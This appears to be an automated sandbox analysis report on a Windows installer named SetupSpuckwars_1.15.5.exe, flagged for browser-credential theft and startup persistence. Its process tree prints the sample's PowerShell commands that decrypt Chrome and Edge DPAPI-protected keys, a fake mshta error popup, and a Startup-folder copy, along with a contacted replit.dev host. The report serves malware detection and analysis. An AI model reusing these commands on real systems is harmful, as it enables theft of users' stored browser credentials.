Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
SetupSpuckwars_1.15.5.exe

Overview

General Information

Sample name:SetupSpuckwars_1.15.5.exe
Analysis ID:1423647
MD5:320696b6328d7d82817da50697fcb673
SHA1:9cae6fdf42dda5ecc2c3a84c24488c132dc2f11c
SHA256:3b83e25ec4dec28c78cf89ae94e007e1928f09a3618b3b653f960d07c9e485b2
Tags:exe
Infos:

Detection

Score:52
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Drops PE files to the startup folder
Drops large PE files
Tries to harvest and steal browser information (history, passwords, etc)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Enables security privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries information about the installed CPU (vendor, model number etc)
Queries keyboard layouts
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Searches for user specific document files
Sigma detected: Startup Folder File Write
Stores files to the Windows start menu directory
Tries to load missing DLLs
Uses 32bit PE files
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

  • System is w10x64
  • SetupSpuckwars_1.15.5.exe (PID: 6684 cmdline: "C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exe" MD5: 320696B6328D7D82817DA50697FCB673)
    • spuckwars.exe (PID: 5856 cmdline: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe MD5: 6DE6C1C8E6ECD92A94595EBC1189C2B2)
      • cmd.exe (PID: 2232 cmdline: C:\Windows\system32\cmd.exe /d /s /c "tasklist" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 5788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • tasklist.exe (PID: 3084 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)
      • spuckwars.exe (PID: 2124 cmdline: "C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\spuckwars" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1624 --field-trial-handle=1692,i,9078033597839116286,17883878093314677188,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2 MD5: 6DE6C1C8E6ECD92A94595EBC1189C2B2)
      • spuckwars.exe (PID: 340 cmdline: "C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\spuckwars" --mojo-platform-channel-handle=2024 --field-trial-handle=1692,i,9078033597839116286,17883878093314677188,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8 MD5: 6DE6C1C8E6ECD92A94595EBC1189C2B2)
      • cmd.exe (PID: 3288 cmdline: C:\Windows\system32\cmd.exe /d /s /c "tasklist" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 6656 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • tasklist.exe (PID: 7084 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)
      • cmd.exe (PID: 6532 cmdline: C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, 'CurrentUser')" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 6148 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • powershell.exe (PID: 6192 cmdline: powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, 'CurrentUser') MD5: 04029E121A0CFA5991749937DD22A1D9)
      • cmd.exe (PID: 7204 cmdline: C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, 'CurrentUser')" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7212 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • powershell.exe (PID: 7252 cmdline: powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,10,0,0,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,177,111,46,150,212,157,15,4,228,252,12,0,1,183,251,108,66,54,253,189,23,124,86,207,222,56,201,250,182,152,221,247,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,178,13,225,93,214,215,151,162,72,143,194,133,190,22,214,149,170,149,74,147,55,106,15,180,131,73,196,197,128,118,103,89,48,0,0,0,94,206,242,8,29,35,27,71,101,58,135,55,188,69,108,246,46,232,119,93,65,217,99,7,252,165,33,164,119,40,187,209,190,181,221,12,22,110,211,109,137,129,98,159,150,234,140,244,64,0,0,0,160,185,210,147,25,143,46,73,184,87,79,38,71,228,189,220,249,51,245,132,106,162,213,227,45,47,24,171,45,48,70,50,96,105,2,105,84,9,7,23,200,91,89,93,224,1,154,41,99,254,68,168,144,46,197,126,233,182,158,66,11,216,163,157), $null, 'CurrentUser') MD5: 04029E121A0CFA5991749937DD22A1D9)
      • cmd.exe (PID: 7400 cmdline: C:\Windows\system32\cmd.exe /d /s /c "start /B cmd /c mshta "javascript:new ActiveXObject('WScript.Shell').Popup('An error occurred while downloading files. Please try again later.', 0, 'Error', 16);close()"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7408 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • cmd.exe (PID: 7440 cmdline: cmd /c mshta "javascript:new ActiveXObject('WScript.Shell').Popup('An error occurred while downloading files. Please try again later.', 0, 'Error', 16);close()" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
          • mshta.exe (PID: 7456 cmdline: mshta "javascript:new ActiveXObject('WScript.Shell').Popup('An error occurred while downloading files. Please try again later.', 0, 'Error', 16);close()" MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)
  • spuckwars.exe (PID: 7612 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exe" MD5: 6DE6C1C8E6ECD92A94595EBC1189C2B2)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

System Summary

barindex
Sigma detected: Startup Folder File Write
Source: File createdAuthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe, ProcessId: 5856, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exe
Sigma detected: Non Interactive PowerShell Process Spawned
Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, 'CurrentUser'), CommandLine: powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,66,213,41,79,203,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,65,3,137,251,132,67,165,117,37,32,77,156,77,25,114,22,240,181,235,103,91,102,117,255,144,36,92,249,151,253,60,75,48,0,0,0,43,225,223,217,151,30,78,184,8,140,233,239,111,191,100,251,188,228,105,81,245,79,114,215,91,96,112,252,70,126,43,40,253,217,123,23,241,100,8,207,153,67,107,184,161,113,210,62,64,0,0,0,16,48,146,16,208,228,76,223,250,118,61,199,169,142,18,65,154,30,229,124,35,149,206,81,42,123,202,212,101,122,75,162,189,113,249,192,143,80,146,46,12,170,101,4,63,156,140,201,97,222,242,144,253,193,232,162,242,114,34,110,102,135,201,250), $null, 'CurrentUser'), CommandLine|base64offset|contains: ~O*^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,236,112,27,63,29,45,147,76,154,28,167,163,109,166,140,139,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,162,223,64,66,67,235,252,176,134,0,234,34,88,190,96,79,120,163,57,223,70,184,59,55,251,103,80,6

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results
Source: SetupSpuckwars_1.15.5.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\LICENSE.electron.txtJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\LICENSE.electron.txtJump to behavior
Source: SetupSpuckwars_1.15.5.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Source: Binary string: C:\Dev\elevate\bin\x86\Release\Elevate.pdb source: elevate.exe.0.dr
Source: Binary string: C:\projects\src\out\Default\libGLESv2.dll.pdb source: libGLESv2.dll.0.dr
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile opened: C:\Users\user\AppData\Local\Temp\nss2E13.tmp\app-64.7zJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile opened: C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\resourcesJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile opened: C:\Users\userJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile opened: C:\Users\user\AppData\Local\Temp\nss2E13.tmp\7z-out\localesJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile opened: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeJump to behavior
Source: C:\Users\user\Desktop\SetupSpuckwars_1.15.5.exeFile opened: C:\Users\user\Desktop\desktop.iniJump to behavior
Source: Joe Sandbox ViewIP Address: 162.159.61.3 162.159.61.3
Source: Joe Sandbox ViewIP Address: 162.159.136.232 162.159.136.232
Source: Joe Sandbox ViewIP Address: 162.159.128.233 162.159.128.233
Source: Joe Sandbox ViewIP Address: 51.38.43.18 51.38.43.18
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownDNS traffic detected: queries for: e1b6282a-e30f-473c-ab0b-3aa78cea1281-00-2xez1th6hyjs3.kirk.replit.dev
Source: unknownHTTP traffic detected: POST /dns-query HTTP/1.1Host: chrome.cloudflare-dns.comConnection: keep-aliveContent-Length: 128Accept: application/dns-messageAccept-Language: *User-Agent: ChromeAccept-Encoding: identityContent-Type: application/dns-message
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/1085
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/1452
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/1452expandIntegerPowExpressionsThe
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/1512
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/1637
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/1936
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/2046
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/2152
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/2152skipVSConstantRegisterZeroIn
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/2162
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/2273
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/2517
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/2894
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/2970
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/2978
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3027
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3045
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3078
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3205
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3206
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3246
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3246allowClearForRobustResourceInitSome
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3452
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3498
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3502
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3577
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3584
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3586
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3623
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3624
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3625
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3682
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3682allowES3OnFL100Allow
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3729
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3832
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3862
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3965
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3970
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/3997
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/4214
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/4267
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/4324
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/4384
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/4405
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/4428
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/4551
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/4633
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/4646
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/4722
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/482
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/4836
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/4901
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/4937
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5007
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5007disableDrawBuffersIndexedDisable
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5055
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5061
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5281
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5371
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5375
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5421
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5430
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5469
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5535
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5577
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5658
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5658forceGlErrorCheckingForce
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5750
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5750forceRobustResourceInitForce-enable
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5881
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5901
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/5906
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/6041
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/6041forceInitShaderVariablesForce-enable
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/6048
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/6141
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/6248
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/6439
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/6651
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/6692
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/6755
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/6860
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/6876
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/6878
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/6929
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/6953
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/7036
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/7036Frontend
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/7047
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/7172
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/7279
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/7279cacheCompiledShaderEnable
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/7370
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/7406
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/7488
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/7527
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/7553
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/7556
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/7724
Source: libGLESv2.dll.0.drString found in binary or memory: http://anglebug.com/7724disableAnisotropicFilteringDisable
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/1094869
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/110263
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/1144207
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/1165751
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/1165751disableProgramBinaryDisable
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/1171371
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/1181068
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/1181193
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/308366
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/403957
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/550292
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/565179
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/642227
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/642605
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/644669
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/650547
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/672380
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/709351
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/797243
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/809422
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/830046
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/849576
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/883276
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/927470
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/941620
Source: libGLESv2.dll.0.drString found in binary or memory: http://crbug.com/941620allowTranslateUniformBlockToStructuredBufferThere
Source: elevate.exe.0.drString found in binary or memory: http://int3.de/
Source: libGLESv2.dll.0.drString found in binary or memory: http://issuetracker.google.com/200067929
Source: SetupSpuckwars_1.15.5.exeString found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://alekberg.net/privacy
Source: spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpString found in binary or memory: https://alekberg.net/privacyalekberg.net
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/4674
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/4849
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/5140
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/5536
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/5845
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/7161
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/7162
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/7246
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/7246enableCaptureLimitsSet
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/7308
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/7319
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/7320
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/7369
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/7382
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/7405
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/7489
Source: libGLESv2.dll.0.drString found in binary or memory: https://anglebug.com/7604
